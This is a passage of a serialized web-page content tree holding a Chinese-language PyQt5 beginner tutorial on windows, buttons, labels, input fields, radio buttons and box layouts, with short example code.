QApplication,QWidget\n",[72325],{"type":18,"tag":74,"props":72326,"children":72327},{"__ignoreMap":8},[72328,72335],{"type":18,"tag":297,"props":72329,"children":72330},{"class":299,"line":300},[72331],{"type":18,"tag":297,"props":72332,"children":72333},{},[72334],{"type":24,"value":32723},{"type":18,"tag":297,"props":72336,"children":72337},{"class":299,"line":657},[72338],{"type":18,"tag":297,"props":72339,"children":72340},{},[72341],{"type":24,"value":72342},"from PyQt5.QtWidgets import QApplication,QWidget\n",{"type":18,"tag":34,"props":72344,"children":72345},{},[72346],{"type":24,"value":72347},"创建第一个Qt程序：",{"type":18,"tag":287,"props":72349,"children":72351},{"className":28710,"code":72350,"language":28712,"meta":8,"style":8},"if __name__ == '__main__':  \n    # 创建一个应用实例  \n    app = QApplication(sys.argv)  # argv用来获取命令行参数列表\n    # 创建一个窗口  \n    w = QWidget()  \n    # 设置窗口标题  \n    w.setWindowTitle('第一个PyQt5程序')  \n    # 展示窗口  \n    w.show()  \n  \n    # 程序进行循环等待状态，直到用户关闭窗口  \n    app.exec_()  # 等同于tkinter的mainloop()\n",[72352],{"type":18,"tag":74,"props":72353,"children":72354},{"__ignoreMap":8},[72355,72362,72370,72378,72386,72394,72402,72410,72418,72426,72433,72441],{"type":18,"tag":297,"props":72356,"children":72357},{"class":299,"line":300},[72358],{"type":18,"tag":297,"props":72359,"children":72360},{},[72361],{"type":24,"value":42431},{"type":18,"tag":297,"props":72363,"children":72364},{"class":299,"line":657},[72365],{"type":18,"tag":297,"props":72366,"children":72367},{},[72368],{"type":24,"value":72369},"    # 创建一个应用实例  \n",{"type":18,"tag":297,"props":72371,"children":72372},{"class":299,"line":662},[72373],{"type":18,"tag":297,"props":72374,"children":72375},{},[72376],{"type":24,"value":72377},"    app = QApplication(sys.argv)  # argv用来获取命令行参数列表\n",{"type":18,"tag":297,"props":72379,"children":72380},{"class":299,"line":799},[72381],{"type":18,"tag":297,"props":72382,"children":72383},{},[72384],{"type":24,"value":72385},"    # 创建一个窗口  \n",{"type":18,"tag":297,"props":72387,"children":72388},{"class":299,"line":808},[72389],{"type":18,"tag":297,"props":72390,"children":72391},{},[72392],{"type":24,"value":72393},"    w = QWidget()  \n",{"type":18,"tag":297,"props":72395,"children":72396},{"class":299,"line":817},[72397],{"type":18,"tag":297,"props":72398,"children":72399},{},[72400],{"type":24,"value":72401},"    # 设置窗口标题  \n",{"type":18,"tag":297,"props":72403,"children":72404},{"class":299,"line":826},[72405],{"type":18,"tag":297,"props":72406,"children":72407},{},[72408],{"type":24,"value":72409},"    w.setWindowTitle('第一个PyQt5程序')  \n",{"type":18,"tag":297,"props":72411,"children":72412},{"class":299,"line":4524},[72413],{"type":18,"tag":297,"props":72414,"children":72415},{},[72416],{"type":24,"value":72417},"    # 展示窗口  \n",{"type":18,"tag":297,"props":72419,"children":72420},{"class":299,"line":4533},[72421],{"type":18,"tag":297,"props":72422,"children":72423},{},[72424],{"type":24,"value":72425},"    w.show()  \n",{"type":18,"tag":297,"props":72427,"children":72428},{"class":299,"line":4546},[72429],{"type":18,"tag":297,"props":72430,"children":72431},{},[72432],{"type":24,"value":36783},{"type":18,"tag":297,"props":72434,"children":72435},{"class":299,"line":4555},[72436],{"type":18,"tag":297,"props":72437,"children":72438},{},[72439],{"type":24,"value":72440},"    # 程序进行循环等待状态，直到用户关闭窗口  \n",{"type":18,"tag":297,"props":72442,"children":72443},{"class":299,"line":4568},[72444],{"type":18,"tag":297,"props":72445,"children":72446},{},[72447],{"type":24,"value":72448},"    app.exec_()  # 等同于tkinter的mainloop()\n",{"type":18,"tag":337,"props":72450,"children":72452},{"id":72451},"设置窗口或控件的大小",[72453],{"type":24,"value":72451},{"type":18,"tag":34,"props":72455,"children":72456},{},[72457],{"type":18,"tag":105,"props":72458,"children":72459},{},[72460],{"type":24,"value":72461},"同时设置大小和位置",{"type":18,"tag":34,"props":72463,"children":72464},{},[72465,72470,72472,72478],{"type":18,"tag":74,"props":72466,"children":72468},{"className":72467},[],[72469],{"type":24,"value":58931},{"type":24,"value":72471}," 对象有一个 ",{"type":18,"tag":74,"props":72473,"children":72475},{"className":72474},[],[72476],{"type":24,"value":72477},"setGeometry()",{"type":24,"value":72479}," 方法用于同时设置窗口或控件的大小和位置，代码如下：",{"type":18,"tag":287,"props":72481,"children":72483},{"className":28710,"code":72482,"language":28712,"meta":8,"style":8},"# setGeometry 的参数依次为： x,y,width,height\nw.setGeometry(20,20,300,300) # w 为QWidget对象\n",[72484],{"type":18,"tag":74,"props":72485,"children":72486},{"__ignoreMap":8},[72487,72495],{"type":18,"tag":297,"props":72488,"children":72489},{"class":299,"line":300},[72490],{"type":18,"tag":297,"props":72491,"children":72492},{},[72493],{"type":24,"value":72494},"# setGeometry 的参数依次为： x,y,width,height\n",{"type":18,"tag":297,"props":72496,"children":72497},{"class":299,"line":657},[72498],{"type":18,"tag":297,"props":72499,"children":72500},{},[72501],{"type":24,"value":72502},"w.setGeometry(20,20,300,300) # w 为QWidget对象\n",{"type":18,"tag":34,"props":72504,"children":72505},{},[72506],{"type":18,"tag":105,"props":72507,"children":72508},{},[72509],{"type":24,"value":72510},"设置大小",{"type":18,"tag":34,"props":72512,"children":72513},{},[72514,72519,72521,72527],{"type":18,"tag":74,"props":72515,"children":72517},{"className":72516},[],[72518],{"type":24,"value":58931},{"type":24,"value":72520}," 对象也提供了一个 ",{"type":18,"tag":74,"props":72522,"children":72524},{"className":72523},[],[72525],{"type":24,"value":72526},"resize()",{"type":24,"value":72528}," 方法用于设置窗口或控件的大小，代码如下：",{"type":18,"tag":287,"props":72530,"children":72532},{"className":28710,"code":72531,"language":28712,"meta":8,"style":8},"# resize 的参数： width,height \nw.resize(300,300)  # w 为QWidget对象\n",[72533],{"type":18,"tag":74,"props":72534,"children":72535},{"__ignoreMap":8},[72536,72544],{"type":18,"tag":297,"props":72537,"children":72538},{"class":299,"line":300},[72539],{"type":18,"tag":297,"props":72540,"children":72541},{},[72542],{"type":24,"value":72543},"# resize 的参数： width,height \n",{"type":18,"tag":297,"props":72545,"children":72546},{"class":299,"line":657},[72547],{"type":18,"tag":297,"props":72548,"children":72549},{},[72550],{"type":24,"value":72551},"w.resize(300,300)  # w 为QWidget对象\n",{"type":18,"tag":34,"props":72553,"children":72554},{},[72555],{"type":18,"tag":105,"props":72556,"children":72557},{},[72558,72564,72565,72571],{"type":18,"tag":74,"props":72559,"children":72561},{"className":72560},[],[72562],{"type":24,"value":72563},"setGeometry",{"type":24,"value":8507},{"type":18,"tag":74,"props":72566,"children":72568},{"className":72567},[],[72569],{"type":24,"value":72570},"resize",{"type":24,"value":72572}," 的区别",{"type":18,"tag":431,"props":72574,"children":72575},{},[72576,72595],{"type":18,"tag":435,"props":72577,"children":72578},{},[72579],{"type":18,"tag":439,"props":72580,"children":72581},{},[72582,72587,72591],{"type":18,"tag":443,"props":72583,"children":72584},{"align":3465},[72585],{"type":24,"value":72586},"区别点",{"type":18,"tag":443,"props":72588,"children":72589},{"align":3465},[72590],{"type":24,"value":72477},{"type":18,"tag":443,"props":72592,"children":72593},{"align":3465},[72594],{"type":24,"value":72526},{"type":18,"tag":459,"props":72596,"children":72597},{},[72598,72616,72634],{"type":18,"tag":439,"props":72599,"children":72600},{},[72601,72606,72611],{"type":18,"tag":466,"props":72602,"children":72603},{"align":3465},[72604],{"type":24,"value":72605},"位置控制",{"type":18,"tag":466,"props":72607,"children":72608},{"align":3465},[72609],{"type":24,"value":72610},"同时设置位置和大小",{"type":18,"tag":466,"props":72612,"children":72613},{"align":3465},[72614],{"type":24,"value":72615},"仅设置大小，不改变位置",{"type":18,"tag":439,"props":72617,"children":72618},{},[72619,72624,72629],{"type":18,"tag":466,"props":72620,"children":72621},{"align":3465},[72622],{"type":24,"value":72623},"默认位置",{"type":18,"tag":466,"props":72625,"children":72626},{"align":3465},[72627],{"type":24,"value":72628},"若未调用 move()，窗口会出现在指定位置",{"type":18,"tag":466,"props":72630,"children":72631},{"align":3465},[72632],{"type":24,"value":72633},"窗口默认出现在系统决定的位置（通常是屏幕左上角附近）",{"type":18,"tag":439,"props":72635,"children":72636},{},[72637,72642,72647],{"type":18,"tag":466,"props":72638,"children":72639},{"align":3465},[72640],{"type":24,"value":72641},"与布局管理器配合",{"type":18,"tag":466,"props":72643,"children":72644},{"align":3465},[72645],{"type":24,"value":72646},"可能干扰布局管理器的自动调整",{"type":18,"tag":466,"props":72648,"children":72649},{"align":3465},[72650],{"type":24,"value":72651},"更适合与布局管理器配合（仅调整内容区域大小）",{"type":18,"tag":337,"props":72653,"children":72655},{"id":72654},"创建按钮",[72656],{"type":24,"value":72654},{"type":18,"tag":34,"props":72658,"children":72659},{},[72660,72665,72667,72673,72675,72681],{"type":18,"tag":74,"props":72661,"children":72663},{"className":72662},[],[72664],{"type":24,"value":62228},{"type":24,"value":72666},"库中提供了",{"type":18,"tag":74,"props":72668,"children":72670},{"className":72669},[],[72671],{"type":24,"value":72672},"QPushButton()",{"type":24,"value":72674},"方法用来创建按钮，可以通过",{"type":18,"tag":74,"props":72676,"children":72678},{"className":72677},[],[72679],{"type":24,"value":72680},"QPushButton对象.信号(如click).connect(槽函数)",{"type":24,"value":72682}," 的方式绑定点击事件。代码如下：",{"type":18,"tag":287,"props":72684,"children":72686},{"className":28710,"code":72685,"language":28712,"meta":8,"style":8},"'''在w窗口中创建一个按钮'''\n# 创建一个按钮\nbtn = QPushButton(\"登录\")\n# 为按钮设置父控件\nbtn.setParent(w)\n# 设置按钮的位置\nbtn.move(50,100) # 也可以使用setGeometry方法\n",[72687],{"type":18,"tag":74,"props":72688,"children":72689},{"__ignoreMap":8},[72690,72698,72706,72714,72722,72730,72738],{"type":18,"tag":297,"props":72691,"children":72692},{"class":299,"line":300},[72693],{"type":18,"tag":297,"props":72694,"children":72695},{},[72696],{"type":24,"value":72697},"'''在w窗口中创建一个按钮'''\n",{"type":18,"tag":297,"props":72699,"children":72700},{"class":299,"line":657},[72701],{"type":18,"tag":297,"props":72702,"children":72703},{},[72704],{"type":24,"value":72705},"# 创建一个按钮\n",{"type":18,"tag":297,"props":72707,"children":72708},{"class":299,"line":662},[72709],{"type":18,"tag":297,"props":72710,"children":72711},{},[72712],{"type":24,"value":72713},"btn = QPushButton(\"登录\")\n",{"type":18,"tag":297,"props":72715,"children":72716},{"class":299,"line":799},[72717],{"type":18,"tag":297,"props":72718,"children":72719},{},[72720],{"type":24,"value":72721},"# 为按钮设置父控件\n",{"type":18,"tag":297,"props":72723,"children":72724},{"class":299,"line":808},[72725],{"type":18,"tag":297,"props":72726,"children":72727},{},[72728],{"type":24,"value":72729},"btn.setParent(w)\n",{"type":18,"tag":297,"props":72731,"children":72732},{"class":299,"line":817},[72733],{"type":18,"tag":297,"props":72734,"children":72735},{},[72736],{"type":24,"value":72737},"# 设置按钮的位置\n",{"type":18,"tag":297,"props":72739,"children":72740},{"class":299,"line":826},[72741],{"type":18,"tag":297,"props":72742,"children":72743},{},[72744],{"type":24,"value":72745},"btn.move(50,100) # 也可以使用setGeometry方法\n",{"type":18,"tag":34,"props":72747,"children":72748},{},[72749],{"type":24,"value":72750},"除了上述创建控件的方式，即先创建控件再绑定父控件的方式之外，还可以直接再创建控件的同时绑定父控件，代码如下所示：",{"type":18,"tag":287,"props":72752,"children":72754},{"className":28710,"code":72753,"language":28712,"meta":8,"style":8},"'''在w窗口中创建一个按钮'''\n# 创建按钮同时绑定父控件\nbtn = QPushButton(\"登录\",w)\n# 设置按钮的位置\nbtn.move(50,100)\n",[72755],{"type":18,"tag":74,"props":72756,"children":72757},{"__ignoreMap":8},[72758,72765,72773,72781,72788],{"type":18,"tag":297,"props":72759,"children":72760},{"class":299,"line":300},[72761],{"type":18,"tag":297,"props":72762,"children":72763},{},[72764],{"type":24,"value":72697},{"type":18,"tag":297,"props":72766,"children":72767},{"class":299,"line":657},[72768],{"type":18,"tag":297,"props":72769,"children":72770},{},[72771],{"type":24,"value":72772},"# 创建按钮同时绑定父控件\n",{"type":18,"tag":297,"props":72774,"children":72775},{"class":299,"line":662},[72776],{"type":18,"tag":297,"props":72777,"children":72778},{},[72779],{"type":24,"value":72780},"btn = QPushButton(\"登录\",w)\n",{"type":18,"tag":297,"props":72782,"children":72783},{"class":299,"line":799},[72784],{"type":18,"tag":297,"props":72785,"children":72786},{},[72787],{"type":24,"value":72737},{"type":18,"tag":297,"props":72789,"children":72790},{"class":299,"line":808},[72791],{"type":18,"tag":297,"props":72792,"children":72793},{},[72794],{"type":24,"value":72795},"btn.move(50,100)\n",{"type":18,"tag":34,"props":72797,"children":72798},{},[72799],{"type":24,"value":72800},"在创建按钮控件以及其他控件时也需要导入对应的UI元素方法，如下所示：",{"type":18,"tag":287,"props":72802,"children":72804},{"className":28710,"code":72803,"language":28712,"meta":8,"style":8},"from PyQt5.QtWidgets import QPushButton, QLineEdit,QLabel\n",[72805],{"type":18,"tag":74,"props":72806,"children":72807},{"__ignoreMap":8},[72808],{"type":18,"tag":297,"props":72809,"children":72810},{"class":299,"line":300},[72811],{"type":18,"tag":297,"props":72812,"children":72813},{},[72814],{"type":24,"value":72803},{"type":18,"tag":96,"props":72816,"children":72817},{},[72818],{"type":18,"tag":34,"props":72819,"children":72820},{},[72821,72823,72828,72829,72834],{"type":24,"value":72822},"以上两种创建方式也适用于",{"type":18,"tag":74,"props":72824,"children":72826},{"className":72825},[],[72827],{"type":24,"value":56517},{"type":24,"value":1942},{"type":18,"tag":74,"props":72830,"children":72832},{"className":72831},[],[72833],{"type":24,"value":46249},{"type":24,"value":72835},"等其他的控件",{"type":18,"tag":337,"props":72837,"children":72839},{"id":72838},"创建标签",[72840],{"type":24,"value":72838},{"type":18,"tag":34,"props":72842,"children":72843},{},[72844,72849,72850,72856],{"type":18,"tag":74,"props":72845,"children":72847},{"className":72846},[],[72848],{"type":24,"value":62228},{"type":24,"value":72666},{"type":18,"tag":74,"props":72851,"children":72853},{"className":72852},[],[72854],{"type":24,"value":72855},"QLabel()",{"type":24,"value":72857},"方法用来创建按钮。代码如下：",{"type":18,"tag":287,"props":72859,"children":72861},{"className":28710,"code":72860,"language":28712,"meta":8,"style":8},"'''在w窗口中创建一个标签'''\n# 先创建后绑定父控件  \nuser = QLabel('账户：')  \nuser.setParent(w)  \nuser.setStyleSheet(\"font-size:16px;color:blue\") # 对组件进行属性设置\nuser.move(50,50)\n#  创建的同时并绑定父控件  \npassword = QLabel('密码：',w)\npassword.move(50,70)\n",[72862],{"type":18,"tag":74,"props":72863,"children":72864},{"__ignoreMap":8},[72865,72873,72881,72889,72897,72905,72913,72921,72929],{"type":18,"tag":297,"props":72866,"children":72867},{"class":299,"line":300},[72868],{"type":18,"tag":297,"props":72869,"children":72870},{},[72871],{"type":24,"value":72872},"'''在w窗口中创建一个标签'''\n",{"type":18,"tag":297,"props":72874,"children":72875},{"class":299,"line":657},[72876],{"type":18,"tag":297,"props":72877,"children":72878},{},[72879],{"type":24,"value":72880},"# 先创建后绑定父控件  \n",{"type":18,"tag":297,"props":72882,"children":72883},{"class":299,"line":662},[72884],{"type":18,"tag":297,"props":72885,"children":72886},{},[72887],{"type":24,"value":72888},"user = QLabel('账户：')  \n",{"type":18,"tag":297,"props":72890,"children":72891},{"class":299,"line":799},[72892],{"type":18,"tag":297,"props":72893,"children":72894},{},[72895],{"type":24,"value":72896},"user.setParent(w)  \n",{"type":18,"tag":297,"props":72898,"children":72899},{"class":299,"line":808},[72900],{"type":18,"tag":297,"props":72901,"children":72902},{},[72903],{"type":24,"value":72904},"user.setStyleSheet(\"font-size:16px;color:blue\") # 对组件进行属性设置\n",{"type":18,"tag":297,"props":72906,"children":72907},{"class":299,"line":817},[72908],{"type":18,"tag":297,"props":72909,"children":72910},{},[72911],{"type":24,"value":72912},"user.move(50,50)\n",{"type":18,"tag":297,"props":72914,"children":72915},{"class":299,"line":826},[72916],{"type":18,"tag":297,"props":72917,"children":72918},{},[72919],{"type":24,"value":72920},"#  创建的同时并绑定父控件  \n",{"type":18,"tag":297,"props":72922,"children":72923},{"class":299,"line":4524},[72924],{"type":18,"tag":297,"props":72925,"children":72926},{},[72927],{"type":24,"value":72928},"password = QLabel('密码：',w)\n",{"type":18,"tag":297,"props":72930,"children":72931},{"class":299,"line":4533},[72932],{"type":18,"tag":297,"props":72933,"children":72934},{},[72935],{"type":24,"value":72936},"password.move(50,70)\n",{"type":18,"tag":337,"props":72938,"children":72940},{"id":72939},"创建输入框",[72941],{"type":24,"value":72939},{"type":18,"tag":34,"props":72943,"children":72944},{},[72945,72950,72951,72957,72959,72964,72966,72972],{"type":18,"tag":74,"props":72946,"children":72948},{"className":72947},[],[72949],{"type":24,"value":62228},{"type":24,"value":72666},{"type":18,"tag":74,"props":72952,"children":72954},{"className":72953},[],[72955],{"type":24,"value":72956},"QLineEdit()",{"type":24,"value":72958},"方法用来创建输入框。可以使用",{"type":18,"tag":74,"props":72960,"children":72962},{"className":72961},[],[72963],{"type":24,"value":56517},{"type":24,"value":72965},"所提供的",{"type":18,"tag":74,"props":72967,"children":72969},{"className":72968},[],[72970],{"type":24,"value":72971},"setPlaceholderText(str)",{"type":24,"value":72973}," 的方法，创建输入框的提示词。代码如下：",{"type":18,"tag":287,"props":72975,"children":72977},{"className":28710,"code":72976,"language":28712,"meta":8,"style":8},"'''在w窗口中创建一个输入框'''\n#  创建的同时并绑定父控件  \nedit = QLineEdit(w)\nedit.setPlaceholderText('请输入用户名') # 提示词\nw.move(100,50)\n",[72978],{"type":18,"tag":74,"props":72979,"children":72980},{"__ignoreMap":8},[72981,72989,72996,73004,73012],{"type":18,"tag":297,"props":72982,"children":72983},{"class":299,"line":300},[72984],{"type":18,"tag":297,"props":72985,"children":72986},{},[72987],{"type":24,"value":72988},"'''在w窗口中创建一个输入框'''\n",{"type":18,"tag":297,"props":72990,"children":72991},{"class":299,"line":657},[72992],{"type":18,"tag":297,"props":72993,"children":72994},{},[72995],{"type":24,"value":72920},{"type":18,"tag":297,"props":72997,"children":72998},{"class":299,"line":662},[72999],{"type":18,"tag":297,"props":73000,"children":73001},{},[73002],{"type":24,"value":73003},"edit = QLineEdit(w)\n",{"type":18,"tag":297,"props":73005,"children":73006},{"class":299,"line":799},[73007],{"type":18,"tag":297,"props":73008,"children":73009},{},[73010],{"type":24,"value":73011},"edit.setPlaceholderText('请输入用户名') # 提示词\n",{"type":18,"tag":297,"props":73013,"children":73014},{"class":299,"line":808},[73015],{"type":18,"tag":297,"props":73016,"children":73017},{},[73018],{"type":24,"value":73019},"w.move(100,50)\n",{"type":18,"tag":337,"props":73021,"children":73023},{"id":73022},"创建单选按钮",[73024],{"type":24,"value":73022},{"type":18,"tag":34,"props":73026,"children":73027},{},[73028,73033,73034,73040],{"type":18,"tag":74,"props":73029,"children":73031},{"className":73030},[],[73032],{"type":24,"value":62228},{"type":24,"value":72666},{"type":18,"tag":74,"props":73035,"children":73037},{"className":73036},[],[73038],{"type":24,"value":73039},"QRadioButton()",{"type":24,"value":73041},"方法用来创建按钮，复选框的创建并不复杂，重点在于如何对这些控件进行布局排版，例如其代码如下：",{"type":18,"tag":287,"props":73043,"children":73045},{"className":28710,"code":73044,"language":28712,"meta":8,"style":8},"# 在w窗口添加性别复选框\nh = QHBoxLayout()  # 创建一个水平布局  \ngroup = QGroupBox('性别')  # 创建性别组  \nv = QVBoxLayout()  # 创建一个垂直布局  \nbtn1 = QRadioButton('男')  '''创建单选按钮的命令就这两句'''\nbtn2 = QRadioButton('女')  '''其他的代码都是为了布局'''\nv.addWidget(btn1)  \nv.addWidget(btn2)  \ngroup.setLayout(v)  # 将垂直布局与组绑定  \nh.addWidget(group)  \nw.setLayout(h)\n",[73046],{"type":18,"tag":74,"props":73047,"children":73048},{"__ignoreMap":8},[73049,73057,73065,73073,73081,73089,73097,73105,73113,73121,73129],{"type":18,"tag":297,"props":73050,"children":73051},{"class":299,"line":300},[73052],{"type":18,"tag":297,"props":73053,"children":73054},{},[73055],{"type":24,"value":73056},"# 在w窗口添加性别复选框\n",{"type":18,"tag":297,"props":73058,"children":73059},{"class":299,"line":657},[73060],{"type":18,"tag":297,"props":73061,"children":73062},{},[73063],{"type":24,"value":73064},"h = QHBoxLayout()  # 创建一个水平布局  \n",{"type":18,"tag":297,"props":73066,"children":73067},{"class":299,"line":662},[73068],{"type":18,"tag":297,"props":73069,"children":73070},{},[73071],{"type":24,"value":73072},"group = QGroupBox('性别')  # 创建性别组  \n",{"type":18,"tag":297,"props":73074,"children":73075},{"class":299,"line":799},[73076],{"type":18,"tag":297,"props":73077,"children":73078},{},[73079],{"type":24,"value":73080},"v = QVBoxLayout()  # 创建一个垂直布局  \n",{"type":18,"tag":297,"props":73082,"children":73083},{"class":299,"line":808},[73084],{"type":18,"tag":297,"props":73085,"children":73086},{},[73087],{"type":24,"value":73088},"btn1 = QRadioButton('男')  '''创建单选按钮的命令就这两句'''\n",{"type":18,"tag":297,"props":73090,"children":73091},{"class":299,"line":817},[73092],{"type":18,"tag":297,"props":73093,"children":73094},{},[73095],{"type":24,"value":73096},"btn2 = QRadioButton('女')  '''其他的代码都是为了布局'''\n",{"type":18,"tag":297,"props":73098,"children":73099},{"class":299,"line":826},[73100],{"type":18,"tag":297,"props":73101,"children":73102},{},[73103],{"type":24,"value":73104},"v.addWidget(btn1)  \n",{"type":18,"tag":297,"props":73106,"children":73107},{"class":299,"line":4524},[73108],{"type":18,"tag":297,"props":73109,"children":73110},{},[73111],{"type":24,"value":73112},"v.addWidget(btn2)  \n",{"type":18,"tag":297,"props":73114,"children":73115},{"class":299,"line":4533},[73116],{"type":18,"tag":297,"props":73117,"children":73118},{},[73119],{"type":24,"value":73120},"group.setLayout(v)  # 将垂直布局与组绑定  \n",{"type":18,"tag":297,"props":73122,"children":73123},{"class":299,"line":4546},[73124],{"type":18,"tag":297,"props":73125,"children":73126},{},[73127],{"type":24,"value":73128},"h.addWidget(group)  \n",{"type":18,"tag":297,"props":73130,"children":73131},{"class":299,"line":4555},[73132],{"type":18,"tag":297,"props":73133,"children":73134},{},[73135],{"type":24,"value":73136},"w.setLayout(h)\n",{"type":18,"tag":27,"props":73138,"children":73140},{"id":73139},"布局方式",[73141],{"type":24,"value":73139},{"type":18,"tag":121,"props":73143,"children":73144},{},[],{"type":18,"tag":337,"props":73146,"children":73148},{"id":73147},"盒子布局qboxlayout",[73149],{"type":24,"value":73150},"盒子布局（QBoxLayout）",{"type":18,"tag":34,"props":73152,"children":73153},{},[73154],{"type":24,"value":73155},"PyQt提供的盒子布局存在两种方式，分别是：",{"type":18,"tag":210,"props":73157,"children":73158},{},[73159,73172],{"type":18,"tag":158,"props":73160,"children":73161},{},[73162,73164,73170],{"type":24,"value":73163},"水平布局  使用",{"type":18,"tag":74,"props":73165,"children":73167},{"className":73166},[],[73168],{"type":24,"value":73169},"QHBQoxLayout",{"type":24,"value":73171},"方法",{"type":18,"tag":158,"props":73173,"children":73174},{},[73175,73177,73183],{"type":24,"value":73176},"垂直布局  使用",{"type":18,"tag":74,"props":73178,"children":73180},{"className":73179},[],[73181],{"type":24,"value":73182},"QVBQoxLayout",{"type":24,"value":73171},{"type":18,"tag":34,"props":73185,"children":73186},{},[73187],{"type":18,"tag":105,"props":73188,"children":73189},{},[73190],{"type":24,"value":73191},"垂直布局（QVBQoxLayout）",{"type":18,"tag":34,"props":73193,"children":73194},{},[73195,73200,73201,73207,73209,73214],{"type":18,"tag":74,"props":73196,"children":73198},{"className":73197},[],[73199],{"type":24,"value":62228},{"type":24,"value":72666},{"type":18,"tag":74,"props":73202,"children":73204},{"className":73203},[],[73205],{"type":24,"value":73206},"QVBQoxLayout()",{"type":24,"value":73208},"方法用来创建一个垂直布局，",{"type":18,"tag":74,"props":73210,"children":73212},{"className":73211},[],[73213],{"type":24,"value":73182},{"type":24,"value":73215},"对象所提供的一些方法：",{"type":18,"tag":210,"props":73217,"children":73218},{},[73219,73230,73241],{"type":18,"tag":158,"props":73220,"children":73221},{},[73222,73228],{"type":18,"tag":74,"props":73223,"children":73225},{"className":73224},[],[73226],{"type":24,"value":73227},"addWidget(控件对象)",{"type":24,"value":73229},"方法将控件添加入布局中",{"type":18,"tag":158,"props":73231,"children":73232},{},[73233,73239],{"type":18,"tag":74,"props":73234,"children":73236},{"className":73235},[],[73237],{"type":24,"value":73238},"addLayout(布局对象)",{"type":24,"value":73240},"方法将其他布局嵌入当前布局中",{"type":18,"tag":158,"props":73242,"children":73243},{},[73244,73250],{"type":18,"tag":74,"props":73245,"children":73247},{"className":73246},[],[73248],{"type":24,"value":73249},"addStretch(int)",{"type":24,"value":73251},"方法可以添加伸缩因子进行排版",{"type":18,"tag":34,"props":73253,"children":73254},{},[73255],{"type":24,"value":73256},"具体实操代码如下所示：",{"type":18,"tag":287,"props":73258,"children":73260},{"className":28710,"code":73259,"language":28712,"meta":8,"style":8},"layout = QVBoxLayout() # 创建一个垂直布局  \nbtn1 = QPushButton('按钮1')  \nbtn2 = QPushButton('按钮2')  \n# 以下的addSretch最终达到的效果为btn1与btn2的分布为1:2\nlayout.addWidget(btn1) # 将按钮1加入垂直布局  \nlayout.addStretch(1) # 添加一个伸缩因子  \nlayout.addWidget(btn2) # 将按钮2加入垂直布局  \nlayout.addStretch(2) # 再添加一个伸缩因子 \n# 在对垂直布局操作完成后记得为该布局添加父控件，例在w上显示垂直布局\nw.setLayout(layout)\n",[73261],{"type":18,"tag":74,"props":73262,"children":73263},{"__ignoreMap":8},[73264,73272,73280,73288,73296,73304,73312,73320,73328,73336],{"type":18,"tag":297,"props":73265,"children":73266},{"class":299,"line":300},[73267],{"type":18,"tag":297,"props":73268,"children":73269},{},[73270],{"type":24,"value":73271},"layout = QVBoxLayout() # 创建一个垂直布局  \n",{"type":18,"tag":297,"props":73273,"children":73274},{"class":299,"line":657},[73275],{"type":18,"tag":297,"props":73276,"children":73277},{},[73278],{"type":24,"value":73279},"btn1 = QPushButton('按钮1')  \n",{"type":18,"tag":297,"props":73281,"children":73282},{"class":299,"line":662},[73283],{"type":18,"tag":297,"props":73284,"children":73285},{},[73286],{"type":24,"value":73287},"btn2 = QPushButton('按钮2')  \n",{"type":18,"tag":297,"props":73289,"children":73290},{"class":299,"line":799},[73291],{"type":18,"tag":297,"props":73292,"children":73293},{},[73294],{"type":24,"value":73295},"# 以下的addSretch最终达到的效果为btn1与btn2的分布为1:2\n",{"type":18,"tag":297,"props":73297,"children":73298},{"class":299,"line":808},[73299],{"type":18,"tag":297,"props":73300,"children":73301},{},[73302],{"type":24,"value":73303},"layout.addWidget(btn1) # 将按钮1加入垂直布局  \n",{"type":18,"tag":297,"props":73305,"children":73306},{"class":299,"line":817},[73307],{"type":18,"tag":297,"props":73308,"children":73309},{},[73310],{"type":24,"value":73311},"layout.addStretch(1) # 添加一个伸缩因子  \n",{"type":18,"tag":297,"props":73313,"children":73314},{"class":299,"line":826},[73315],{"type":18,"tag":297,"props":73316,"children":73317},{},[73318],{"type":24,"value":73319},"layout.addWidget(btn2) # 将按钮2加入垂直布局  \n",{"type":18,"tag":297,"props":73321,"children":73322},{"class":299,"line":4524},[73323],{"type":18,"tag":297,"props":73324,"children":73325},{},[73326],{"type":24,"value":73327},"layout.addStretch(2) # 再添加一个伸缩因子 \n",{"type":18,"tag":297,"props":73329,"children":73330},{"class":299,"line":4533},[73331],{"type":18,"tag":297,"props":73332,"children":73333},{},[73334],{"type":24,"value":73335},"# 在对垂直布局操作完成后记得为该布局添加父控件，例在w上显示垂直布局\n",{"type":18,"tag":297,"props":73337,"children":73338},{"class":299,"line":4546},[73339],{"type":18,"tag":297,"props":73340,"children":73341},{},[73342],{"type":24,"value":73343},"w.setLayout(layout)\n",{"type":18,"tag":34,"props":73345,"children":73346},{},[73347],{"type":18,"tag":105,"props":73348,"children":73349},{},[73350],{"type":24,"value":73351},"水平布局（QHBQoxLayout）",{"type":18,"tag":34,"props":73353,"children":73354},{},[73355,73360,73361,73367,73369,73374],{"type":18,"tag":74,"props":73356,"children":73358},{"className":73357},[],[73359],{"type":24,"value":62228},{"type":24,"value":72666},{"type":18,"tag":74,"props":73362,"children":73364},{"className":73363},[],[73365],{"type":24,"value":73366},"QHBQoxLayout()",{"type":24,"value":73368},"方法用来创建一个水平布局，",{"type":18,"tag":74,"props":73370,"children":73372},{"className":73371},[],[73373],{"type":24,"value":73169},{"type":24,"value":73375},"对象也所提供的一些方法：",{"type":18,"tag":210,"props":73377,"children":73378},{},[73379,73388,73397],{"type":18,"tag":158,"props":73380,"children":73381},{},[73382,73387],{"type":18,"tag":74,"props":73383,"children":73385},{"className":73384},[],[73386],{"type":24,"value":73227},{"type":24,"value":73229},{"type":18,"tag":158,"props":73389,"children":73390},{},[73391,73396],{"type":18,"tag":74,"props":73392,"children":73394},{"className":73393},[],[73395],{"type":24,"value":73238},{"type":24,"value":73240},{"type":18,"tag":158,"props":73398,"children":73399},{},[73400,73405],{"type":18,"tag":74,"props":73401,"children":73403},{"className":73402},[],[73404],{"type":24,"value":73249},{"type":24,"value":73251},{"type":18,"tag":34,"props":73407,"children":73408},{},[73409],{"type":24,"value":73256},{"type":18,"tag":287,"props":73411,"children":73413},{"className":28710,"code":73412,"language":28712,"meta":8,"style":8},"layout = QHBoxLayout() # 创建一个水平布局  \nbtn1 = QPushButton('按钮1')  \nbtn2 = QPushButton('按钮2')  \n# 以下的addSretch最终达到的效果为btn1与btn2的分布为1:2\nlayout.addWidget(btn1) # 将按钮1加入水平布局  \nlayout.addStretch(1) # 添加一个伸缩因子  \nlayout.addWidget(btn2) # 将按钮2加入水平布局  \nlayout.addStretch(2) # 再添加一个伸缩因子 \n# 